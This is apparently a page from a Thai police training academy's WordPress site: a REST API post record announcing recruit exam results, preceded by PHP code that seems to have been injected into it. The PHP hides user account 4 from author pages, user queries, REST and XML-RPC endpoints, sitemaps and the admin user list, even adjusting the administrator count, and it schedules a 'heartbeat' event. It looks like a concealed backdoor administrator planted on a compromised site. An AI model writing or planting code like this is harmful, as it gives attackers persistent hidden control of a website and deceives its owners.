add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":900,"date":"2024-01-19T11:22:13","date_gmt":"2024-01-19T11:22:13","guid":{"rendered":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/?p=900"},"modified":"2024-02-21T06:08:49","modified_gmt":"2024-02-21T06:08:49","slug":"%e0%b8%9d%e0%b8%ad-%e0%b8%95%e0%b8%a3","status":"publish","type":"post","link":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/2024\/01\/19\/%e0%b8%9d%e0%b8%ad-%e0%b8%95%e0%b8%a3\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"900\" class=\"elementor elementor-900\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-5eb25c4 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"5eb25c4\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3ab9915\" data-id=\"3ab9915\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-0f21f35 elementor-widget elementor-widget-heading\" data-id=\"0f21f35\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">\u0e1b\u0e23\u0e30\u0e01\u0e32\u0e28\u0e1c\u0e25\u0e04\u0e30\u0e41\u0e19\u0e19\u0e01\u0e32\u0e23\u0e2a\u0e2d\u0e1a\u0e04\u0e31\u0e14\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e02\u0e49\u0e32\u0e23\u0e32\u0e0a\u0e01\u0e32\u0e23\u0e15\u0e33\u0e23\u0e27\u0e08 \u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e40\u0e02\u0e49\u0e32\u0e23\u0e31\u0e1a\u0e01\u0e32\u0e23\u0e1d\u0e36\u0e01\u0e2d\u0e1a\u0e23\u0e21 \u0e2b\u0e25\u0e31\u0e01\u0e2a\u0e39\u0e15\u0e23\u0e1d\u0e48\u0e32\u0e22\u0e2d\u0e33\u0e19\u0e27\u0e22\u0e01\u0e32\u0e23\u0e15\u0e33\u0e23\u0e27\u0e08 \u0e23\u0e38\u0e48\u0e19\u0e17\u0e35\u0e48 45 \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35\u0e07\u0e1a\u0e1b\u0e23\u0e30\u0e21\u0e32\u0e13 \u0e1e.\u0e28.2567<\/h2>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-c46100b elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"c46100b\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-198e35a\" data-id=\"198e35a\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-bf7c205 elementor-invisible elementor-widget elementor-widget-heading\" data-id=\"bf7c205\" data-element_type=\"widget\" data-e-type=\"widget\" data-settings=\"{&quot;_animation&quot;:&quot;flash&quot;}\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\"><a href=\"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-content\/uploads\/2024\/01\/\u0e1b\u0e23\u0e30\u0e01\u0e32\u0e28\u0e1c\u0e25\u0e2a\u0e2d\u0e1a-\u0e1d\u0e2d\u0e15\u0e23PDF_240119_175936.pdf\">\u0e14\u0e32\u0e27\u0e19\u0e4c\u0e42\u0e2b\u0e25\u0e14\u0e44\u0e1f\u0e25\u0e4c\u0e17\u0e35\u0e48\u0e19\u0e35\u0e48<\/a><\/h3>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-19f345e elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"19f345e\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-859e924\" data-id=\"859e924\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-a82f023 elementor-widget elementor-widget-pdf_viewer\" data-id=\"a82f023\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"pdf_viewer.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<iframe src=\"https:\/\/docs.google.com\/viewer?url=http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-content\/uploads\/2024\/01\/\u0e1b\u0e23\u0e30\u0e01\u0e32\u0e28\u0e1c\u0e25\u0e2a\u0e2d\u0e1a-\u0e1d\u0e2d\u0e15\u0e23PDF_240119_175936.pdf&amp;embedded=true\" style=\"display: block; margin-left: auto; margin-right: auto; width: 640px; height: 1020px;\" frameborder=\"1\" marginheight=\"0px\" marginwidth=\"0px\" allowfullscreen><\/iframe>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u0e1b\u0e23\u0e30\u0e01\u0e32\u0e28\u0e1c\u0e25\u0e04\u0e30\u0e41\u0e19\u0e19\u0e01\u0e32\u0e23\u0e2a\u0e2d\u0e1a\u0e04\u0e31\u0e14\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e02\u0e49\u0e32\u0e23\u0e32\u0e0a\u0e01\u0e32\u0e23\u0e15\u0e33\u0e23\u0e27\u0e08 \u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e40\u0e02\u0e49\u0e32\u0e23\u0e31\u0e1a\u0e01\u0e32\u0e23\u0e1d\u0e36\u0e01\u0e2d\u0e1a\u0e23\u0e21 \u0e2b\u0e25\u0e31\u0e01\u0e2a\u0e39\u0e15\u0e23\u0e1d\u0e48\u0e32\u0e22\u0e2d\u0e33\u0e19\u0e27\u0e22\u0e01\u0e32\u0e23\u0e15\u0e33\u0e23\u0e27\u0e08 \u0e23\u0e38\u0e48\u0e19\u0e17\u0e35\u0e48 45 \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35\u0e07\u0e1a\u0e1b\u0e23\u0e30\u0e21\u0e32\u0e13 \u0e1e.\u0e28.2567 \u0e14\u0e32\u0e27\u0e19\u0e4c\u0e42\u0e2b\u0e25\u0e14\u0e44\u0e1f\u0e25\u0e4c\u0e17\u0e35\u0e48\u0e19\u0e35\u0e48<\/p>\n","protected":false},"author":1,"featured_media":907,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"disabled","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-900","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/posts\/900","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/comments?post=900"}],"version-history":[{"count":6,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/posts\/900\/revisions"}],"predecessor-version":[{"id":934,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/posts\/900\/revisions\/934"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/media\/907"}],"wp:attachment":[{"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/media?parent=900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/categories?post=900"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/metropolitanpolicetraining.ac.th\/mptc\/wp-json\/wp\/v2\/tags?post=900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}